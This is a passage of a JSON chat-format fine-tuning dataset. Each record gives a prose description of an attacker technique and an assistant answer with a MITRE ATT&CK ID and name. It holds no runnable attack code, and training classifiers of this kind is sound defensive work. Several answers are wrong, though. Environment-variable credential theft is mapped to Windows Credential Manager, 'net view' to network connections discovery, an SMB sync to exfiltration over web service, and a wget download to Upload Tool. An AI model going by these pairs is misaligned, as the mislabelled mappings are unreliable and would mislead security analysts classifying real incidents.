                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly issues DNS queries for pseudo‑random subdomains to retrieve command‑and‑control payloads dynamically."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises retrieve code from a private Azure DevOps repo after stealing a personal access token."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious COM component in the Windows Registry, causing the system to load the malicious DLL whenever a legitimate application requests that COM object."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers information from vendor invoices and shipping manifests to identify where the victim's key servers are physically housed."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hide command payloads in a benign‑looking web service, where infected hosts retrieve them as part of a dead‑drop resolver strategy."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved starting a VNC service on the target and using it for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker escalates privileges by altering the instance profile of a compromised Google Cloud Compute Engine."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies registry values in memory during system boot to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a utility that performs a cryptographic erase of the entire disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the malicious script issues the 'history -d' command to delete specific commands from the session history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan verifies the presence of a specific environment variable and the machine's UUID, aborting if the environment key is incorrect."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privileged shell, the threat actor copies /etc/passwd and /etc/shadow to exfiltrate password data."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant executes ‘net view’ to list all computers on the internal network."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage SEO tactics to push malicious URLs to the first page of search results for targeted keywords, facilitating drive‑by infections."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary distributes a spearphishing email containing a malicious URL that leads to a fake HR portal where victims unknowingly enter their authentication information."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor collects credentials from environment variables exposed by poorly configured services."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware clears the PowerShell command history by calling the 'Remove-Item' cmdlet on the history file."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a drive‑by download that installed a webshell, allowing them to edit files and deface the public site."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries scrape securitytrails.com and other DNS intelligence sites to map the target's external infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses exploitation of remote services to gain unauthorized access to a system?"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a firmware flash attack on the system’s component firmware to achieve persistence before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker deploys a keylogging module that monitors input events from the HID device and stores them in an encrypted file."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the 'history' command to list recent commands and captures any credential arguments like -p or --password."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary creates a transport rule to send all received mail to an attacker-controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Security Providers list in the registry to include a malicious DLL, enabling code execution during authentication."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is set up to forward all received emails to an external collection mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans the file system for .env files and retrieves plaintext API keys stored within them."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant generates a one‑time asymmetric key pair and uses the public key to encrypt beacon data before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a stolen OAuth access token for OneDrive to replicate the entire file hierarchy onto a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Unicode character U+202E, the threat actor masks the true filename of a backdoor, causing security tools to misinterpret it as a harmless file."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise is performed by compromising the development environment’s package manager cache, serving poisoned packages to developers during routine updates."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a malicious entry to the RC startup file, ensuring it runs at every boot."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs a mass download of files from a publicly accessible Google Drive folder after discovering the share link."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies sensitive spreadsheets to a hidden directory, then uses the system’s native file sharing feature to sync them to a remote SMB share."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sends a request to the Windows API \"GetLocalTime\" and records the response to adjust its beacon intervals."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate a CI/CD pipeline to sign a compromised artifact with the project's authentic code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a credentialed PowerShell script to pull firewall rule exports from a Windows Server acting as a gateway."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employs a kernel-mode rootkit to tamper with system logs, effectively covering its tracks after compromise."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware steals user passwords, encrypts them with a reversible cipher, and writes the encrypted hashes back to the credential store to be decrypted later for logon."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses UNIX domain sockets to transfer stolen credentials between a compromised daemon and a custom exfiltration script."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code searches for and deletes any created Windows services and scheduled tasks that could reveal the attacker’s persistence method."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the legitimate login binary with a malicious version that captures credentials."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains credentials by scanning the memory of the securityd service for password strings."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal purchases advanced persistent threat (APT) reports from a private intelligence vendor to tailor their intrusion techniques."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit checks for the existence of the VMware Tools service and disables its malicious payload if the service is running."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor encodes extracted data using Unicode escape sequences to evade binary scanners."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32 was used to execute a payload embedded in a legitimate Windows DLL, allowing the attacker to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation framework invokes wget on a Linux box to pull a malicious shell script from an external server, uploading a tool for later execution."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs systematic searches of publicly indexed websites to discover the victim's domain names and associated services."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies an existing .timer file to point to a malicious executable, causing it to run with elevated privileges on a regular schedule."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable shared module loading routine to inject a backdoor into multiple processes."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public DNS records and passive DNS databases to map victim's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminal adjusted the access control list on a service’s binary, granting the attacker’s user account full control, then injected malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use OSINT tools to scrape domain registration records and WHOIS information to learn about the victim's corporate infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform credential dumping by loading the Mimikatz PowerShell module in memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the malware wrote files to a temporarily attached external SSD for physical extraction."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a technique that disregards process interrupts, preventing any removal of its malicious components."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the system's UEFI firmware with a malicious version that loads their payload before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scripts the creation of an AT job that runs a hidden PowerShell script to exfiltrate data during off‑hours."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a chain of redirects: first a malicious link leads to a dropper, which then communicates through a hidden VPN tunnel."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes an uncommon port 9999 to avoid detection by standard monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration in a web server, the attacker runs malicious code that accesses the system's credential store and pulls out administrative passwords."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor emails a target a message with a malicious hyperlink that, once clicked, launches a malicious PowerShell script on the victim's device."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a public web service as a dead‑drop resolver, periodically polling the site for encoded commands to retrieve from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script employs regsvr32 to register a malicious DLL located in the user's AppData directory, using the /s switch to suppress prompts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor placed a hidden PHP web shell on the victim's IIS server to enable remote command execution and persistence."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a network of compromised websites that host malicious JavaScript and uses black‑hat SEO tactics to rank these pages high in search engine results, so victims download the payload when clicking the search results."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries added a new external trust to the Active Directory forest, granting themselves privileged access to additional resources."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the ImageFileExecutionOptions registry key to inject a malicious DLL into a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell command to export the SAM registry hive for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion moves exfiltrated data into a staging folder on the compromised endpoint before sending it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor reads the contents of the Thunderbird mail directory and compresses them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the group exported credential dumps onto a portable external SSD and physically removed it during a maintenance visit."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries download vulnerability exploits from GitHub and execute them to bypass security controls on the target network."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the thread local storage of a victim process to embed and execute malicious code without altering the process's main executable."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor mounts the victim's SMB share and recursively copies confidential documents to a remote staging server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
